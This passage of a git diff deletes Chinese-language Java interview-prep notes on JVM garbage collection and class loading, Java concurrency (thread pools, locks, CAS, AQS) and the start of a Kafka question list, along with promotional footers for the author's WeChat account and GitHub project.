标记清除算法:先标记需清除的对象,之后统一回收。这种方法效率不高,会产生大量不连续的碎片。 -- 标记整理算法:先标记存活对象,然后让所有存活对象向一端移动,之后清理端边界以外的内存 -- 标记复制算法:将可用内存按容量划分为大小相等的两块,每次只使用其中一块。当使用的这块空间用完了,就将存活对象复制到另一块,再把已使用过的内存空间一次清理掉。 - -### 简述分代收集算法 -根据对象存活周期将内存划分为几块,不同块采用适当的收集算法。 - -一般将堆分为新生代和老年代,对这两块采用不同的算法。 - -新生代使用:标记复制算法 - -老年代使用:标记清除或者标记整理算法 - -### 简述Serial垃圾收集器 -Serial垃圾收集器是单线程串行收集器。垃圾回收的时候,必须暂停其他所有线程。新生代使用标记复制算法,老年代使用标记整理算法。简单高效。 - -### 简述ParNew垃圾收集器 -ParNew垃圾收集器可以看作Serial垃圾收集器的多线程版本,新生代使用标记复制算法,老年代使用标记整理算法。 - -### 简述Parallel Scavenge垃圾收集器 -注重吞吐量,即 CPU运行代码时间/CPU耗时总时间(CPU运行代码时间+ 垃圾回收时间)。新生代使用标记复制算法,老年代使用标记整理算法。 - -### 简述CMS垃圾收集器 -CMS垃圾收集器注重最短时间停顿。CMS垃圾收集器为最早提出的并发收集器,垃圾收集线程与用户线程同时工作。采用标记清除算法。该收集器分为初始标记、并发标记、并发预清理、并发清除、并发重置这么几个步骤。 - -- 初始标记:暂停其他线程(stop the world),标记与GC roots直接关联的对象。 -- 并发标记:可达性分析过程(程序不会停顿)。 -- 并发预清理:查找执行并发标记阶段从年轻代晋升到老年代的对象,重新标记,暂停虚拟机(stop the world)扫描CMS堆中剩余对象。 -- 并发清除:清理垃圾对象,(程序不会停顿)。 -- 并发重置,重置CMS收集器的数据结构。 - -### 简述G1垃圾收集器 -和Serial、Parallel Scavenge、CMS不同,G1垃圾收集器把堆划分成多个大小相等的独立区域(Region),新生代和老年代不再物理隔离。通过引入 Region 的概念,从而将原来的一整块内存空间划分成多个的小空间,使得每个小空间可以单独进行垃圾回收。 - -- 初始标记:标记与GC roots直接关联的对象。 -- 并发标记:可达性分析。 -- 最终标记:对并发标记过程中,用户线程修改的对象再次标记一下。 -- 筛选回收:对各个Region的回收价值和成本进行排序,然后根据用户所期望的GC停顿时间制定回收计划并回收。 - -### 简述Minor GC -Minor GC指发生在新生代的垃圾收集,因为 Java 对象大多存活时间短,所以 Minor GC 非常频繁,一般回收速度也比较快。 - -### 简述Full GC -Full GC 是清理整个堆空间—包括年轻代和永久代。调用System.gc(),老年代空间不足,空间分配担保失败,永生代空间不足会产生full gc。 - -### 常见内存分配策略 -大多数情况下对象在新生代 Eden 区分配,当 Eden 没有足够空间时将发起一次 Minor GC。 - -大对象需要大量连续内存空间,直接进入老年代区分配。 - -如果经历过第一次 Minor GC 仍然存活且能被 Survivor 容纳,该对象就会被移动到 Survivor 中并将年龄设置为 1,并且每熬过一次 Minor GC 年龄就加 1 ,当增加到一定程度(默认15)就会被晋升到老年代。 - -如果在 Survivor 中相同年龄所有对象大小的总和大于 Survivor 的一半,年龄不小于该年龄的对象就可以直接进入老年代。 - -MinorGC 前,虚拟机必须检查老年代最大可用连续空间是否大于新生代对象总空间,如果满足则说明这次 Minor GC 确定安全。如果不,JVM会查看HandlePromotionFailure 参数是否允许担保失败,如果允许会继续检查老年代最大可用连续空间是否大于历次晋升老年代对象的平均大小,如果满足将Minor GC,否则改成一次 FullGC。 - -### 简述JVM类加载过程 -1)加载: - -- 通过全类名获取类的二进制字节流。 -- 将类的静态存储结构转化为方法区的运行时数据结构。 -- 在内存中生成类的Class对象,作为方法区数据的入口。 - -2)验证:对文件格式,元数据,字节码,符号引用等验证正确性。 - -3)准备:在方法区内为类变量分配内存并设置为0值。 - -4)解析:将符号引用转化为直接引用。 - -5)初始化:执行类构造器clinit方法,真正初始化。 - -### 简述JVM中的类加载器 -- BootstrapClassLoader启动类加载器:加载/lib下的jar包和类。 由C++编写。 -- ExtensionClassLoader扩展类加载器: /lib/ext目录下的jar包和类。由Java编写。 -- AppClassLoader应用类加载器,加载当前classPath下的jar包和类。由Java编写。 - -### 简述双亲委派机制 -一个类加载器收到类加载请求之后,首先判断当前类是否被加载过。已经被加载的类会直接返回,如果没有被加载,首先将类加载请求转发给父类加载器,一直转发到启动类加载器,只有当父类加载器无法完成时才尝试自己加载。 - -加载类顺序:BootstrapClassLoader->ExtensionClassLoader->AppClassLoader->CustomClassLoader 检查类是否加载顺序: CustomClassLoader->AppClassLoader->ExtensionClassLoader->BootstrapClassLoader - -### 双亲委派机制的优点 -- 避免类的重复加载。相同的类被不同的类加载器加载会产生不同的类,双亲委派保证了Java程序的稳定运行。 -- 保证核心API不被修改。 -- 如何破坏双亲委派机制 -- 重载loadClass()方法,即自定义类加载器。 - -### 如何构建自定义类加载器 -新建自定义类继承自java.lang.ClassLoader,重写findClass、loadClass、defineClass方法 - -### JVM常见调优参数 - -- -Xms 初始堆大小 -- -Xmx 最大堆大小 -- -XX:NewSize 年轻代大小 -- -XX:MaxNewSize 年轻代最大值 -- -XX:PermSize 永生代初始值 -- -XX:MaxPermSize 永生代最大值 -- -XX:NewRatio 新生代与老年代的比例 - ----- - - -投稿作者:后端技术小牛说 -转载链接:[https://mp.weixin.qq.com/s/PmeH38qWVxyIhBpsAsjG7w](https://mp.weixin.qq.com/s/PmeH38qWVxyIhBpsAsjG7w) - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/interview/java-thread-baguwen.md b/docs/src/interview/java-thread-baguwen.md deleted file mode 100644 index 14e9e8ef3c..0000000000 --- a/docs/src/interview/java-thread-baguwen.md +++ /dev/null @@ -1,336 +0,0 @@ ---- -title: Java 并发编程背诵版八股文必看🍉 -shortTitle: 并发编程背诵版八股文🍉 -category: - - 求职面试 -tag: - - 面试题&八股文 -description: 二哥的Java进阶之路,小白的零基础Java教程,Java 并发编程背诵版八股文必看🍉 -head: - - - meta - - name: keywords - content: Java,java,thread,面试题,八股文 ---- - - -### 简述Java内存模型(JMM) - -Java内存模型定义了程序中各种变量的访问规则: - -- 所有变量都存储在主存,每个线程都有自己的工作内存。 -- 工作内存中保存了被该线程使用的变量的主存副本,线程对变量的所有操作都必须在工作空间进行,不能直接读写主内存数据。 -- 操作完成后,线程的工作内存通过缓存一致性协议将操作完的数据刷回主存。 - -### 简述as-if-serial - -编译器会对原始的程序进行指令重排序和优化。但不管怎么重排序,其结果都必须和用户原始程序输出的预定结果保持一致。 - -### 简述happens-before八大规则 - -- 程序次序规则:一个线程内,按照代码顺序,书写在前面的操作先行发生于书写在后面的操作; -- 锁定规则:一个unLock操作先行发生于后面对同一个锁的lock操作; -- volatile变量规则:对一个变量的写操作先行发生于后面对这个变量的读操作; -- 传递规则:如果操作A先行发生于操作B,而操作B又先行发生于操作C,则可以得出操作A先行发生于操作C; -- 线程启动规则:Thread对象的start()方法先行发生于此线程的每个一个动作; -- 线程中断规则:对线程interrupt()方法的调用先行发生于被中断线程的代码检测到中断事件的发生; -- 线程终结规则:线程中所有的操作都先行发生于线程的终止检测,我们可以通过Thread.join()方法结束、Thread.isAlive()的返回值手段检测到线程已经终止执行; -- 对象终结规则:一个对象的初始化完成先行发生于他的finalize()方法的开始; - -### as-if-serial 和 happens-before 的区别 - -as-if-serial 保证单线程程序的执行结果不变,happens-before 保证正确同步的多线程程序的执行结果不变。 - -### 简述原子性操作 - -一个操作或者多个操作,要么全部执行并且执行的过程不会被任何因素打断,要么就都不执行,这就是原子性操作。 - -### 简述线程的可见性 - -可见性指当一个线程修改了共享变量时,其他线程能够立即得知修改。volatile、synchronized、final 关键字都能保证可见性。 - -### 简述有序性 - -虽然多线程存在并发和指令优化等操作,但在本线程内观察该线程的所有执行操作是有序的。 - -### 简述Java中volatile关键字作用 - -- 保证变量对所有线程的可见性。当一个线程修改了变量值,新值对于其他线程来说是立即可以得知的。 -- 禁止指令重排。使用 volatile 变量进行写操作,编译器在生成字节码时,会在指令序列中插入内存屏障来禁止特定类型的处理器进行重排序。 - -### Java线程的实现方式 - -- 实现Runnable接口 -- 继承Thread类 -- 实现Callable接口 - -### 简述Java线程的状态 - -线程状态有 NEW、RUNNABLE、BLOCK、WAITING、TIMED_WAITING、THERMINATED - -- NEW:新建状态,线程被创建且未启动,此时还未调用 start 方法。 -- RUNNABLE:运行状态。表示线程正在JVM中执行,但是这个执行,不一定真的在跑,也可能在排队等CPU。 -- BLOCKED:阻塞状态。线程等待获取锁,锁还没获得。 -- WAITING:等待状态。线程内run方法执行完Object.wait()/Thread.join()进入该状态。 -- TIMED_WAITING:限期等待。在一定时间之后跳出状态。调用Thread.sleep(long) Object.wait(long) Thread.join(long)进入状态。其中这些参数代表等待的时间。 -- TERMINATED:结束状态。线程调用完run方法进入该状态。 - -### 简述线程通信的方式 - -- volatile 关键词修饰变量,保证所有线程对变量访问的可见性。 -- synchronized关键词。确保多个线程在同一时刻只能有一个处于方法或同步块中。 -- wait/notify方法 -- IO通信 - -### 简述线程池 - -没有线程池的情况下,多次创建,销毁线程开销比较大。如果在开辟的线程执行完当前任务后复用已创建的线程,可以降低开销、控制最大并发数。 - -线程池创建线程时,会将线程封装成工作线程 Worker,Worker 在执行完任务后还会循环获取工作队列中的任务来执行。 - -将任务派发给线程池时,会出现以下几种情况 - -- 核心线程池未满,创建一个新的线程执行任务。 -- 如果核心线程池已满,工作队列未满,将线程存储在工作队列。 -- 如果工作队列已满,线程数小于最大线程数就创建一个新线程处理任务。 -- 如果超过大小线程数,按照拒绝策略来处理任务。 - -线程池参数: - -- corePoolSize:常驻核心线程数。超过该值后如果线程空闲会被销毁。 -- maximumPoolSize:线程池能够容纳同时执行的线程最大数。 -- keepAliveTime:线程空闲时间,线程空闲时间达到该值后会被销毁,直到只剩下 corePoolSize 个线程为止,避免浪费内存资源。 -- workQueue:工作队列。 -- threadFactory:线程工厂,用来生产一组相同任务的线程。 -- handler:拒绝策略。 - -拒绝策略有以下几种: - -- AbortPolicy:丢弃任务并抛出异常 -- CallerRunsPolicy:重新尝试提交该任务 -- DiscardOldestPolicy 抛弃队列里等待最久的任务并把当前任务加入队列 -- DiscardPolicy 表示直接抛弃当前任务但不抛出异常。 - - -### 简述Executor框架 - -Executor框架目的是将任务提交和任务如何运行分离开来的机制。用户不再需要从代码层考虑设计任务的提交运行,只需要调用Executor框架实现类的Execute方法就可以提交任务。 - -### 简述Executor的继承关系 - -- Executor:一个接口,其定义了一个接收Runnable对象的方法executor,该方法接收一个Runable实例执行这个任务。 -- ExecutorService:Executor的子类接口,其定义了一个接收Callable对象的方法,返回 Future 对象,同时提供execute方法。 -- ScheduledExecutorService:ExecutorService的子类接口,支持定期执行任务。 -- AbstractExecutorService:抽象类,提供 ExecutorService 执行方法的默认实现。 -- Executors:实现ExecutorService接口的静态工厂类,提供了一系列工厂方法用于创建线程池。 -- ThreadPoolExecutor:继承AbstractExecutorService,用于创建线程池。 -- ForkJoinPool: 继承AbstractExecutorService,Fork 将大任务分叉为多个小任务,然后让小任务执行,Join 是获得小任务的结果,类似于map reduce。 -- ScheduledThreadPoolExecutor:继承ThreadPoolExecutor,实现ScheduledExecutorService,用于创建带定时任务的线程池。 - -### 简述线程池的状态 -- Running:能接受新提交的任务,也可以处理阻塞队列的任务。 -- Shutdown:不再接受新提交的任务,但可以处理存量任务,线程池处于running时调用shutdown方法,会进入该状态。 -- Stop:不接受新任务,不处理存量任务,调用shutdownnow进入该状态。 -- Tidying:所有任务已经终止了,worker_count(有效线程数)为0。 -- Terminated:线程池彻底终止。在tidying模式下调用terminated方法会进入该状态。 - -### 简述线程池类型 -- newCachedThreadPool 可缓存线程池,可设置最小线程数和最大线程数,线程空闲1分钟后自动销毁。 -- newFixedThreadPool 指定工作线程数量线程池。 -- newSingleThreadExecutor 单线程Executor。 -- newScheduleThreadPool 支持定时任务的指定工作线程数量线程池。 -- newSingleThreadScheduledExecutor 支持定时任务的单线程Executor。 - -### 简述阻塞队列 -阻塞队列是生产者消费者的实现具体组件之一。当阻塞队列为空时,从队列中获取元素的操作将会被阻塞,当阻塞队列满了,往队列添加元素的操作将会被阻塞。具体实现有: - -- ArrayBlockingQueue:底层是由数组组成的有界阻塞队列。 -- LinkedBlockingQueue:底层是由链表组成的有界阻塞队列。 -- PriorityBlockingQueue:阻塞优先队列。 -- DelayQueue:创建元素时可以指定多久才能从队列中获取当前元素 -- SynchronousQueue:不存储元素的阻塞队列,每一个存储必须等待一个取出操作 -- LinkedTransferQueue:与LinkedBlockingQueue相比多一个transfer方法,即如果当前有消费者正等待接收元素,可以把生产者传入的元素立刻传输给消费者。 -- LinkedBlockingDeque:双向阻塞队列。 -### 谈一谈ThreadLocal -ThreadLocal 是线程共享变量。ThreadLoacl 有一个静态内部类 ThreadLocalMap,其 Key 是 ThreadLocal 对象,值是 Entry 对象,ThreadLocalMap是每个线程私有的。 - -- set 给ThreadLocalMap设置值。 -- get 获取ThreadLocalMap。 -- remove 删除ThreadLocalMap类型的对象。 - -存在的问题:对于线程池,由于线程池会重用 Thread 对象,因此与 Thread 绑定的 ThreadLocal 也会被重用,造成一系列问题。 - -比如说内存泄漏。由于 ThreadLocal 是弱引用,但 Entry 的 value 是强引用,因此当 ThreadLocal 被垃圾回收后,value 依旧不会被释放,产生内存泄漏。 - -### 聊聊你对Java并发包下unsafe类的理解 -对于 Java 语言,没有直接的指针组件,一般也不能使用偏移量对某块内存进行操作。这些操作相对来讲是安全(safe)的。 - -Java 有个类叫 Unsafe 类,这个类使 Java 拥有了像 C 语言的指针一样操作内存空间的能力,同时也带来了指针的问题。这个类可以说是 Java 并发开发的基础。 - -### Java中的乐观锁与CAS算法 -乐观锁认为数据发送时发生并发冲突的概率不大,所以读操作前不上锁。 - -到了写操作时才会进行判断,数据在此期间是否被其他线程修改。如果发生修改,那就返回写入失败;如果没有被修改,那就执行修改操作,返回修改成功。 - -乐观锁一般都采用 Compare And Swap(CAS)算法进行实现。顾名思义,该算法涉及到了两个操作,比较(Compare)和交换(Swap)。 - -CAS 算法的思路如下: - -- 该算法认为不同线程对变量的操作时产生竞争的情况比较少。 -- 该算法的核心是对当前读取变量值 E 和内存中的变量旧值 V 进行比较。 -- 如果相等,就代表其他线程没有对该变量进行修改,就将变量值更新为新值 N。 -- 如果不等,就认为在读取值 E 到比较阶段,有其他线程对变量进行过修改,不进行任何操作。 - -### ABA问题及解决方法简述 -CAS 算法是基于值来做比较的,如果当前有两个线程,一个线程将变量值从 A 改为 B ,再由 B 改回为 A ,当前线程开始执行 CAS 算法时,就很容易认为值没有变化,误认为读取数据到执行 CAS 算法的期间,没有线程修改过数据。 - -juc 包提供了一个 AtomicStampedReference,即在原始的版本下加入版本号戳,解决 ABA 问题。 - -### 简述常见的Atomic类 -在很多时候,我们需要的仅仅是一个简单的、高效的、线程安全的++或者--方案,使用synchronized关键字和lock固然可以实现,但代价比较大,此时用原子类更加方便。基本数据类型的原子类有: - -- AtomicInteger 原子更新整型 -- AtomicLong 原子更新长整型 -- AtomicBoolean 原子更新布尔类型 - -Atomic数组类型有: - -- AtomicIntegerArray 原子更新整型数组里的元素 -- AtomicLongArray 原子更新长整型数组里的元素 -- AtomicReferenceArray 原子更新引用类型数组里的元素。 - -Atomic引用类型有: - -- AtomicReference 原子更新引用类型 -- AtomicMarkableReference 原子更新带有标记位的引用类型,可以绑定一个 boolean 标记 -- AtomicStampedReference 原子更新带有版本号的引用类型 - -FieldUpdater类型: - -- AtomicIntegerFieldUpdater 原子更新整型字段的更新器 -- AtomicLongFieldUpdater 原子更新长整型字段的更新器 -- AtomicReferenceFieldUpdater 原子更新引用类型字段的更新器 -### 简述Atomic类基本实现原理 -以AtomicIntger 为例。 - -方法getAndIncrement,以原子方式将当前的值加1,具体实现为: - -- 在 for 死循环中取得 AtomicInteger 里存储的数值 -- 对 AtomicInteger 当前的值加 1 -- 调用 compareAndSet 方法进行原子更新 -- 先检查当前数值是否等于 expect -- 如果等于则说明当前值没有被其他线程修改,则将值更新为 next, -- 如果不是会更新失败返回 false,程序会进入 for 循环重新进行 compareAndSet 操作。 -### 简述CountDownLatch -CountDownLatch这个类使一个线程等待其他线程各自执行完毕后再执行。是通过一个计数器来实现的,计数器的初始值是线程的数量。每当一个线程执行完毕后,调用countDown方法,计数器的值就减1,当计数器的值为0时,表示所有线程都执行完毕,然后在等待的线程就可以恢复工作了。只能一次性使用,不能reset。 - -### 简述CyclicBarrier -CyclicBarrier 主要功能和CountDownLatch类似,也是通过一个计数器,使一个线程等待其他线程各自执行完毕后再执行。但是其可以重复使用(reset)。 - -### 简述Semaphore -Semaphore即信号量。Semaphore 的构造方法参数接收一个 int 值,设置一个计数器,表示可用的许可数量即最大并发数。使用 acquire 方法获得一个许可证,计数器减一,使用 release 方法归还许可,计数器加一。如果此时计数器值为0,线程进入休眠。 - -### 简述Exchanger -Exchanger类可用于两个线程之间交换信息。可简单地将Exchanger对象理解为一个包含两个格子的容器,通过exchanger方法可以向两个格子中填充信息。线程通过exchange 方法交换数据,第一个线程执行 exchange 方法后会阻塞等待第二个线程执行该方法。当两个线程都到达同步点时这两个线程就可以交换数据当两个格子中的均被填充时,该对象会自动将两个格子的信息交换,然后返回给线程,从而实现两个线程的信息交换。 - -### 简述ConcurrentHashMap -JDK7采用锁分段技术。首先将数据分成 Segment 数据段,然后给每一个数据段配一把锁,当一个线程占用锁访问其中一个段的数据时,其他段的数据也能被其他线程访问。 - -get 除读到空值不需要加锁。该方法先经过一次再散列,再用这个散列值通过散列运算定位到 Segment,最后通过散列算法定位到元素。put 须加锁,首先定位到 Segment,然后进行插入操作,第一步判断是否需要对 Segment 里的 HashEntry 数组进行扩容,第二步定位添加元素的位置,然后将其放入数组。 - -JDK8的改进 - -- 取消分段锁机制,采用CAS算法进行值的设置,如果CAS失败再使用 synchronized 加锁添加元素 -- 引入红黑树结构,当某个槽内的元素个数超过8且 Node数组 容量大于 64 时,链表转为红黑树。 -- 使用了更加优化的方式统计集合内的元素数量。 -### synchronized底层实现原理 -Java 对象底层都会关联一个 monitor,使用 synchronized 时 JVM 会根据使用环境找到对象的 monitor,根据 monitor 的状态进行加解锁的判断。如果成功加锁就成为该 monitor 的唯一持有者,monitor 在被释放前不能再被其他线程获取。 - -synchronized在JVM编译后会产生monitorenter 和 monitorexit 这两个字节码指令,获取和释放 monitor。这两个字节码指令都需要一个引用类型的参数指明要锁定和解锁的对象,对于同步普通方法,锁是当前实例对象;对于静态同步方法,锁是当前类的 Class 对象;对于同步方法块,锁是 synchronized 括号里的对象。 - -执行 monitorenter 指令时,首先尝试获取对象锁。如果这个对象没有被锁定,或当前线程已经持有锁,就把锁的计数器加 1,执行 monitorexit 指令时会将锁计数器减 1。一旦计数器为 0 锁随即就被释放。 - -### synchronized关键词使用方法 -- 直接修饰某个实例方法 -- 直接修饰某个静态方法 -- 修饰代码块 -### 简述Java偏向锁 -JDK 1.6 中提出了偏向锁的概念。该锁提出的原因是,开发者发现多数情况下锁并不存在竞争,一把锁往往是由同一个线程获得的。偏向锁并不会主动释放,这样每次偏向锁进入的时候都会判断该资源是否是偏向自己的,如果是偏向自己的则不需要进行额外的操作,直接可以进入同步操作。 - -其申请流程为: - -- 首先需要判断对象的 Mark Word 是否属于偏向模式,如果不属于,那就进入轻量级锁判断逻辑。否则继续下一步判断; -- 判断目前请求锁的线程 ID 是否和偏向锁本身记录的线程 ID 一致。如果一致,继续下一步的判断,如果不一致,跳转到步骤4; -- 判断是否需要重偏向。如果不用的话,直接获得偏向锁; -- 利用 CAS 算法将对象的 Mark Word 进行更改,使线程 ID 部分换成本线程 ID。如果更换成功,则重偏向完成,获得偏向锁。如果失败,则说明有多线程竞争,升级为轻量级锁。 -### 简述轻量级锁 -轻量级锁是为了在没有竞争的前提下减少重量级锁出现并导致的性能消耗。 - -其申请流程为: - -- 如果同步对象没有被锁定,虚拟机将在当前线程的栈帧中建立一个锁记录空间,存储锁对象目前 Mark Word 的拷贝。 -- 虚拟机使用 CAS 尝试把对象的 Mark Word 更新为指向锁记录的指针 -- 如果更新成功即代表该线程拥有了锁,锁标志位将转变为 00,表示处于轻量级锁定状态。 -- 如果更新失败就意味着至少存在一条线程与当前线程竞争。虚拟机检查对象的 Mark Word 是否指向当前线程的栈帧 -- 如果指向当前线程的栈帧,说明当前线程已经拥有了锁,直接进入同步块继续执行 -- 如果不是则说明锁对象已经被其他线程抢占。 -- 如果出现两条以上线程争用同一个锁,轻量级锁就不再有效,将膨胀为重量级锁,锁标志状态变为 10,此时Mark Word 存储的就是指向重量级锁的指针,后面等待锁的线程也必须阻塞。 -### 简述锁优化策略 -即自适应自旋、锁消除、锁粗化、锁升级等策略偏。 - -### 简述Java的自旋锁 -线程获取锁失败后,可以采用这样的策略,可以不放弃 CPU ,不停的重试内重试,这种操作也称为自旋锁。 - -### 简述自适应自旋锁 -自适应自旋锁自旋次数不再人为设定,通常由前一次在同一个锁上的自旋时间及锁的拥有者的状态决定。 - -### 简述锁粗化 -锁粗化的思想就是扩大加锁范围,避免反复的加锁和解锁。 - -### 简述锁消除 -锁消除是一种更为彻底的优化,在编译时,Java编译器对运行上下文进行扫描,去除不可能存在共享资源竞争的锁。 - -### 简述Lock与ReentrantLock -Lock接口是 Java并发包的顶层接口。 - -可重入锁 ReentrantLock 是 Lock 最常见的实现,与 synchronized 一样可重入。ReentrantLock 在默认情况下是非公平的,可以通过构造方法指定公平锁。一旦使用了公平锁,性能会下降。 - -### 简述AQS - -AQS(AbstractQuenedSynchronizer)抽象的队列式同步器。AQS是将每一条请求共享资源的线程封装成一个锁队列的一个结点(Node),来实现锁的分配。AQS是用来构建锁或其他同步组件的基础框架,它使用一个 volatile int state 变量作为共享资源,如果线程获取资源失败,则进入同步队列等待;如果获取成功就执行临界区代码,释放资源时会通知同步队列中的等待线程。 - -子类通过继承同步器并实现它的抽象方法getState、setState 和 compareAndSetState对同步状态进行更改。 - -AQS获取独占锁/释放独占锁原理: - -获取:(acquire) - -- 调用 tryAcquire 方法安全地获取线程同步状态,获取失败的线程会被构造同步节点并通过 addWaiter 方法加入到同步队列的尾部,在队列中自旋。 -- 调用 acquireQueued 方法使得该节点以死循环的方式获取同步状态,如果获取不到则阻塞。 - -释放:(release) - -- 调用 tryRelease 方法释放同步状态 -- 调用 unparkSuccessor 方法唤醒头节点的后继节点,使后继节点重新尝试获取同步状态。 - -AQS获取共享锁/释放共享锁原理 - -获取锁(acquireShared) - -- 调用 tryAcquireShared 方法尝试获取同步状态,返回值不小于 0 表示能获取同步状态。 -- 释放(releaseShared),并唤醒后续处于等待状态的节点。 - ----- - - -投稿作者:后端技术小牛说 -转载链接:[https://mp.weixin.qq.com/s/PmeH38qWVxyIhBpsAsjG7w](https://mp.weixin.qq.com/s/PmeH38qWVxyIhBpsAsjG7w) - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/interview/kafka-40.md b/docs/src/interview/kafka-40.md deleted file mode 100644 index 58b0892bb3..0000000000 --- a/docs/src/interview/kafka-40.md +++ /dev/null @@ -1,404 +0,0 @@ ---- -title: 40 道精选 Kafka 面试题👍 -shortTitle: 40 道精选 Kafka 面试题👍 -author: 菜农 -category: - - 求职面试 -tag: - - 面试题&八股文 -description: 二哥的Java进阶之路,小白的零基础Java教程,40 道 Kafka 精选面试题👍 -head: - - - meta - - name: keywords - content: Kafka,面试题,八股文 ---- - -今天给球友们分享一篇读者菜农投稿的文章:40 道精选 Kafka 面试题👍,已收录在《Java 面试指南》的《精选面试题篇》中,专栏托管在语雀平台上(更方便你沉浸式阅读和做笔记),访问地址和密码:https://t.zsxq.com/6iuzn6I - -发车🚗 - -Kafka最初是由Linkedin公司开发的,是一个分布式的、可扩展的、容错的、支持分区的(Partition)、多副本的(replica)、基于Zookeeper框架的发布-订阅消息系统,Kafka适合离线和在线消息消费。它是分布式应用系统中的重要组件之一,也被广泛应用于大数据处理。Kafka是用Scala语言开发,它的Java版本称为Jafka。Linkedin于2010年将该系统贡献给了Apache基金会并成为顶级开源项目之一。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-baogwdkafkamsgczhs-6c5e6ab3-ff41-4b91-a083-5f8df6d925bd.jpg) - -**希望这40道面试题作为大家学习 kafka 的路线图,由浅入深,最大程度上覆盖整个 Kafka 的问答内容(预习+复习一步到位)** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-baogwdkafkamsgczhs-58771e78-0829-4ae8-ac93-50e83be044dc.jpg) - -* * * - - -## 1、Kafka 的设计 - -Kafka 将消息以 topic 为单位进行归纳,发布消息的程序称为 **Producer**,消费消息的程序称为 **Consumer**。它是以集群的方式运行,可以由一个或多个服务组成,每个服务叫做一个 **Broker**,Producer 通过网络将消息发送到 kafka 集群,集群向消费者提供消息,broker 在中间起到一个代理保存消息的中转站。 - -**Kafka 中重要的组件** - -*1)Producer*:消息生产者,发布消息到Kafka集群的终端或服务 - -*2)Broker*:一个 Kafka 节点就是一个 Broker,多个Broker可组成一个Kafka 集群。 - -> 如果某个 Topic 下有 n 个Partition 且集群有 n 个Broker,那么每个 Broker会存储该 Topic 下的一个 Partition -> -> 如果某个 Topic 下有 n 个Partition 且集群中有 m+n 个Broker,那么只有 n 个Broker会存储该Topic下的一个 Partition -> -> 如果某个 Topic 下有 n 个Partition 且集群中的Broker数量小于 n,那么一个 Broker 会存储该 Topic 下的一个或多个 Partition,这种情况尽量避免,会导致集群数据不均衡 - -*3)Topic*:消息主题,每条发布到Kafka集群的消息都会归集于此,Kafka是面向Topic 的 - -*4)Partition*:Partition 是Topic在物理上的分区,一个Topic可以分为多个Partition,每个Partition是一个有序的不可变的记录序列。单一主题中的分区有序,但无法保证主题中所有分区的消息有序。 - -*5)Consumer*:从Kafka集群中消费消息的终端或服务 - -*6)Consumer Group*:每个Consumer都属于一个Consumer Group,每条消息只能被Consumer Group中的一个Consumer消费,但可以被多个Consumer Group消费。 - -*7)Replica*:Partition 的副本,用来保障Partition的高可用性。 - -*8)Controller:* Kafka 集群中的其中一个服务器,用来进行Leader election以及各种 Failover 操作。 - -*9)Zookeeper*:Kafka 通过Zookeeper来存储集群中的 meta 消息 - - - -## 2、Kafka 性能高原因 - -1. 利用了 PageCache 缓存 -2. 磁盘顺序写 -3. 零拷贝技术 -4. pull 拉模式 - -## 3、Kafka 文件高效存储设计原理 - -1. Kafka把Topic中一个Partition大文件分成多个小文件段,通过多个小文件段,就容易定期清除或删除已经消费完成的文件,减少磁盘占用 -2. 通过索引信息可以快速定位Message和确定response的最大大小 -3. 通过将索引元数据全部映射到 memory,可以避免 Segment 文件的磁盘I/O操作 -4. 通过索引文件稀疏存储,可以大幅降低索引文件元数据占用空间大小 - -## 4、Kafka 的优缺点 - -**优点** - -* 高性能、高吞吐量、低延迟:Kafka 生产和消费消息的速度都达到每秒10万级 -* 高可用:所有消息持久化存储到磁盘,并支持数据备份防止数据丢失 -* 高并发:支持数千个客户端同时读写 -* 容错性:允许集群中节点失败(若副本数量为n,则允许 n-1 个节点失败) -* 高扩展性:Kafka 集群支持热伸缩,无须停机 - -**缺点** - -* 没有完整的监控工具集 -* 不支持通配符主题选择 - -## 5、Kafka 的应用场景 - -1. **日志聚合**:可收集各种服务的日志写入kafka的消息队列进行存储 -2. **消息系统**:广泛用于消息中间件 -3. **系统解耦**:在重要操作完成后,发送消息,由别的服务系统来完成其他操作 -4. **流量削峰**:一般用于秒杀或抢购活动中,来缓冲网站短时间内高流量带来的压力 -5. **异步处理**:通过异步处理机制,可以把一个消息放入队列中,但不立即处理它,在需要的时候再进行处理 - -## 6、Kafka 中分区的概念 - -主题是一个逻辑上的概念,还可以细分为多个分区,一个分区只属于单个主题,很多时候也会把分区称为主题分区(Topic-Partition)。同一主题下的不同分区包含的消息是不同的,分区在存储层面可以看做一个可追加的`日志文件` ,消息在被追加到分区日志文件的时候都会分配一个特定的偏移量(offset)。offset 是消息在分区中的唯一标识,kafka 通过它来保证消息在分区内的顺序性,不过 offset 并不跨越分区,也就是说,kafka保证的是分区有序而不是主题有序。 - -在分区中又引入了多副本(replica)的概念,通过增加副本数量可以提高容灾能力。同一分区的不同副本中保存的是相同的消息。副本之间是一主多从的关系,其中主副本负责读写,从副本只负责消息同步。副本处于不同的 broker 中,当主副本出现异常,便会在从副本中提升一个为主副本。 - -## 7、Kafka 中分区的原则 - -1. 指明Partition的情况下,直接将指明的值作为Partition值 -2. 没有指明Partition值但有 key 的情况下,将 key 的 Hash 值与 topic 的Partition值进行取余得到Partition值 -3. 既没有Partition值又没有 key 